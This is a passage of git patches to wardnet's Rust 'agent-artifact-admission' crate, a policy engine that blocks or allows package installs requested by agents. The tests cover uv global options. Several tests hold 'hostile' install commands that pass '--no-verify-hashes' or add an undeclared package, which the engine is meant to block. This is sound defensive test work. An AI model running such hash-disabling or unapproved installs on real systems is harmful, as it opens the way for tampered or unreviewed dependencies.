!decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), "exact --require-hashes must satisfy the hash-safety evidence contract: {:?}", decision.reason_codes ); @@ -81,7 +87,9 @@ fn uv_global_non_install_command_does_not_gain_hash_safety_evidence() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); assert!( - !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), "non-install uv grammar must not inherit pip-install hash-safety evidence: {:?}", decision.reason_codes ); From 990faaa00deeaa8db443d5a0c9512d6930a5404f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 22:19:51 +0900 Subject: [PATCH 680/702] test(admission): finish formatting uv hash-safety RED --- .../tests/uv_global_hash_safety_authority_contract.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs index a2cac8ef..e73792e7 100644 --- a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs @@ -62,7 +62,11 @@ fn uv_global_options_with_require_hashes_do_not_fabricate_missing_safety_evidenc let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes From 51e13e92b7a9152930c4e31ebec6ae5dc0e3005e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 22:22:55 +0900 Subject: [PATCH 681/702] fix(admission): preserve uv global hash-safety evidence --- crates/agent-artifact-admission/src/policy.rs | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 2cf4806c..2a1d30ff 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -210,15 +210,17 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec - { - !arguments - .iter() - .any(|argument| argument == "--require-hashes") - } + "uv" => match uv_active_command_index(arguments) { + Some(pip_index) + if arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") => + { + !arguments[pip_index + 2..] + .iter() + .any(|argument| argument == "--require-hashes") + } + _ => false, + }, "docker" | "podman" if arguments.first().is_some_and(|argument| argument == "pull") => { intent.artifacts.is_empty() || intent.artifacts.iter().any(|artifact| { From 73ee17cc9634a78ed105ae6f9a19e92a4d7ef040 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 23:29:22 +0900 Subject: [PATCH 682/702] test(admission): expose uv global dependency-cardinality gap --- ..._global_dependency_cardinality_contract.rs | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs new file mode 100644 index 00000000..3842163f --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs @@ -0,0 +1,157 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn baseline_uv_pip_install_with_exact_dependency_guard_remains_allowed() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_preserve_missing_dependency_set_guard_evidence() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + has_reason(&decision.reason_codes, "missing_safety_flag"), + "global uv options must not erase missing --no-deps evidence" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_with_exact_dependency_guard_do_not_emit_false_missing_flag() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + !has_reason(&decision.reason_codes, "missing_safety_flag"), + "an exact --no-deps guard must not acquire false missing-safety evidence" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_on_pip_sync_do_not_acquire_install_dependency_set_evidence() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "sync", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + !has_reason(&decision.reason_codes, "missing_safety_flag"), + "uv pip sync must not be classified as a pip-install dependency-cardinality path" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +fn has_reason( + reasons: &[wardnet_agent_artifact_admission::ReasonCode], + expected: &str, +) -> bool { + reasons.iter().any(|reason| reason.as_str() == expected) +} + +fn submitted_command_sha256(intent: &InstallIntent) -> String { + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) +} + +fn approved_uv_intent(argv: Vec<&str>) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-dependency-cardinality".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-dependency-cardinality".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.into_iter().map(str::to_string).collect(), + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 2dcfdf713c2612811c1ce5aaa5cb9e18cc7b9ad6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 00:00:55 +0900 Subject: [PATCH 683/702] test(admission): format uv dependency-cardinality RED --- .../tests/uv_global_dependency_cardinality_contract.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs index 3842163f..7cf9f9bc 100644 --- a/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs @@ -99,10 +99,7 @@ fn uv_global_options_on_pip_sync_do_not_acquire_install_dependency_set_evidence( assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); } -fn has_reason( - reasons: &[wardnet_agent_artifact_admission::ReasonCode], - expected: &str, -) -> bool { +fn has_reason(reasons: &[wardnet_agent_artifact_admission::ReasonCode], expected: &str) -> bool { reasons.iter().any(|reason| reason.as_str() == expected) } From 319dded36bddc288348cd37324201cb810679975 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 01:02:08 +0900 Subject: [PATCH 684/702] fix(admission): preserve uv dependency-cardinality evidence --- .../src/dependency_cardinality.rs | 29 +++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs index ec11cafc..2241384c 100644 --- a/crates/agent-artifact-admission/src/dependency_cardinality.rs +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -1,4 +1,4 @@ -use crate::InstallIntent; +use crate::{policy::uv_active_command_index, InstallIntent}; /// Return whether a supported PyPI install can resolve dependencies that are /// absent from the reviewed artifact set. @@ -8,20 +8,25 @@ pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool }; let arguments = &intent.argv[1..]; - let is_pypi_install = match executable { - "pip" | "pip3" => arguments - .first() - .is_some_and(|argument| argument == "install"), + match executable { + "pip" | "pip3" => { + arguments + .first() + .is_some_and(|argument| argument == "install") + && !arguments.iter().any(|argument| argument == "--no-deps") + } "uv" => { - arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") + && !arguments[pip_index + 2..] + .iter() + .any(|argument| argument == "--no-deps") } _ => false, - }; - - is_pypi_install && !arguments.iter().any(|argument| argument == "--no-deps") + } } /// Return whether the currently supported npm-family direct-install grammar can From 91b9fc6f826f587af38cb690893e55d78757caad Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 01:59:53 +0900 Subject: [PATCH 685/702] style(admission): apply rustfmt import ordering --- crates/agent-artifact-admission/src/dependency_cardinality.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs index 2241384c..7280ed23 100644 --- a/crates/agent-artifact-admission/src/dependency_cardinality.rs +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -1,4 +1,4 @@ -use crate::{policy::uv_active_command_index, InstallIntent}; +use crate::{InstallIntent, policy::uv_active_command_index}; /// Return whether a supported PyPI install can resolve dependencies that are /// absent from the reviewed artifact set. From 11ae834fc30868c6bb2ad4603d399d834479b93d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 03:13:55 +0900 Subject: [PATCH 686/702] test(admission): expose uv global hash-disable evidence loss --- ..._global_hash_disable_authority_contract.rs | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs new file mode 100644 index 00000000..8197e927 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs @@ -0,0 +1,157 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_hash_disable_authority_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_options_preserve_explicit_hash_disable_causal_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-verify-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase explicit --no-verify-hashes evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_hash_disable_evidence() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-verify-hash", + "--no-deps", + "--no-python-downloads", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--require-hashes", + "--no-verify-hashes", + "--no-deps", + "--no-python-downloads", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "nearby spelling or non-install uv grammar must not inherit hash-disable authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-hash-disable-authority".to_string(), + policy_revision: "2026-09-14.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-hash-disable-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 33d8295aef1310defcef25b47cc78455a54dec4b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 05:01:21 +0900 Subject: [PATCH 687/702] fix(admission): preserve uv hash-disable evidence after globals --- .../src/pypi_hash_mode.rs | 43 +++++++++++-------- 1 file changed, 25 insertions(+), 18 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs index 4ae65366..6dbade35 100644 --- a/crates/agent-artifact-admission/src/pypi_hash_mode.rs +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -1,4 +1,4 @@ -use crate::InstallIntent; +use crate::{InstallIntent, policy::uv_active_command_index}; /// Return whether a supported PyPI install request explicitly disables the /// hash-checking mode that Wardnet requires for reviewed artifacts. @@ -8,26 +8,33 @@ pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool }; let arguments = &intent.argv[1..]; - let is_supported_install = match executable { - "pip" | "pip3" => arguments - .first() - .is_some_and(|argument| argument == "install"), + let install_arguments = match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &arguments[1..] + } "uv" => { - arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + &arguments[pip_index + 2..] } - _ => false, + _ => return false, }; - let disables_required_hashes = arguments + install_arguments .iter() - .any(|argument| argument == "--no-require-hashes"); - let disables_uv_hash_verification = executable == "uv" - && arguments - .iter() - .any(|argument| argument == "--no-verify-hashes"); - - is_supported_install && (disables_required_hashes || disables_uv_hash_verification) + .any(|argument| argument == "--no-require-hashes") + || (executable == "uv" + && install_arguments + .iter() + .any(|argument| argument == "--no-verify-hashes")) } From 2bd7486df27bf66c5916974aa1e077b5cfd62a9f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 08:08:04 +0900 Subject: [PATCH 688/702] test(admission): expose uv global artifact operand evidence gap --- ...bal_artifact_operand_authority_contract.rs | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs new file mode 100644 index 00000000..fa288e9a --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs @@ -0,0 +1,174 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_global_parser_options_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_options_preserve_undeclared_artifact_causal_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "undeclared-example==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar remains outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase causal evidence for an undeclared artifact: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_install_root_value_is_not_fabricated_as_an_artifact_operand() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--target".to_string(), + "/tmp/wardnet-admission".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the consumed --target value is install-root authority, not a package operand: {:?}", + decision.reason_codes + ); +} + +#[test] +fn non_install_uv_grammar_does_not_inherit_artifact_operand_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "undeclared-example==9.9.9".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "non-install uv grammar must not inherit pip-install artifact-operand evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-artifact-operand-authority".to_string(), + policy_revision: "2026-09-14.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-artifact-operand-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d0a0e38f7cea8b38cb195a5f9148e39fd36e20bd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 10:12:17 +0900 Subject: [PATCH 689/702] test(admission): rustfmt uv global operand RED --- .../uv_global_artifact_operand_authority_contract.rs | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs index fa288e9a..9f2177cf 100644 --- a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs @@ -74,7 +74,11 @@ fn uv_global_install_root_value_is_not_fabricated_as_an_artifact_operand() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( decision .reason_codes @@ -105,7 +109,11 @@ fn non_install_uv_grammar_does_not_inherit_artifact_operand_semantics() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes From fd19ac126a0e90a60164f8f9a24a47ea29490336 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 13:05:17 +0900 Subject: [PATCH 690/702] fix(admission): preserve uv global artifact operand evidence --- crates/agent-artifact-admission/src/policy.rs | 25 +++++++++++-------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 2a1d30ff..6f12d531 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -247,13 +247,15 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec - { - 2 - } + "uv" => match uv_active_command_index(arguments) { + Some(pip_index) + if arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") => + { + pip_index + 2 + } + _ => return, + }, "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" | "podman" => 1, _ => return, }; @@ -370,10 +372,11 @@ fn is_install_root_selector_value(executable: &str, arguments: &[String], index: { &["--target", "-t", "--root", "--prefix"] } - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" + if uv_active_command_index(arguments).is_some_and(|pip_index| { + arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") + }) => { &["--target", "-t", "--root", "--prefix", "--python", "-p"] } From 630cc7fc59b7ca7ea5ebe2b1503e9e499da2fdba Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 16:26:12 +0900 Subject: [PATCH 691/702] style(admission): apply rustfmt to uv selector guard --- crates/agent-artifact-admission/src/policy.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 6f12d531..f54a2e05 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -372,11 +372,10 @@ fn is_install_root_selector_value(executable: &str, arguments: &[String], index: { &["--target", "-t", "--root", "--prefix"] } - "uv" - if uv_active_command_index(arguments).is_some_and(|pip_index| { - arguments.get(pip_index).map(String::as_str) == Some("pip") - && arguments.get(pip_index + 1).map(String::as_str) == Some("install") - }) => + "uv" if uv_active_command_index(arguments).is_some_and(|pip_index| { + arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") + }) => { &["--target", "-t", "--root", "--prefix", "--python", "-p"] } From 27e450bcfc8280376619f0331766eb2ed0efc796 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Mon, 14 Sep 2026 22:06:14 +0900 Subject: [PATCH 692/702] test(admission): preserve declared artifact in uv sync control --- .../tests/uv_global_artifact_operand_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs index 9f2177cf..9001dd7b 100644 --- a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs @@ -102,6 +102,7 @@ fn non_install_uv_grammar_does_not_inherit_artifact_operand_semantics() { "never".to_string(), "pip".to_string(), "sync".to_string(), + "cwl-example==1.2.3".to_string(), "undeclared-example==9.9.9".to_string(), "--no-python-downloads".to_string(), ]; From 973dcec1f457c727df28fdcd337d9764d1bf1723 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 15 Sep 2026 04:04:41 +0900 Subject: [PATCH 693/702] test(admission): expose uv global indirect source evidence gap --- ...rect_artifact_source_authority_contract.rs | 202 ++++++++++++++++++ 1 file changed, 202 insertions(+) create mode 100644 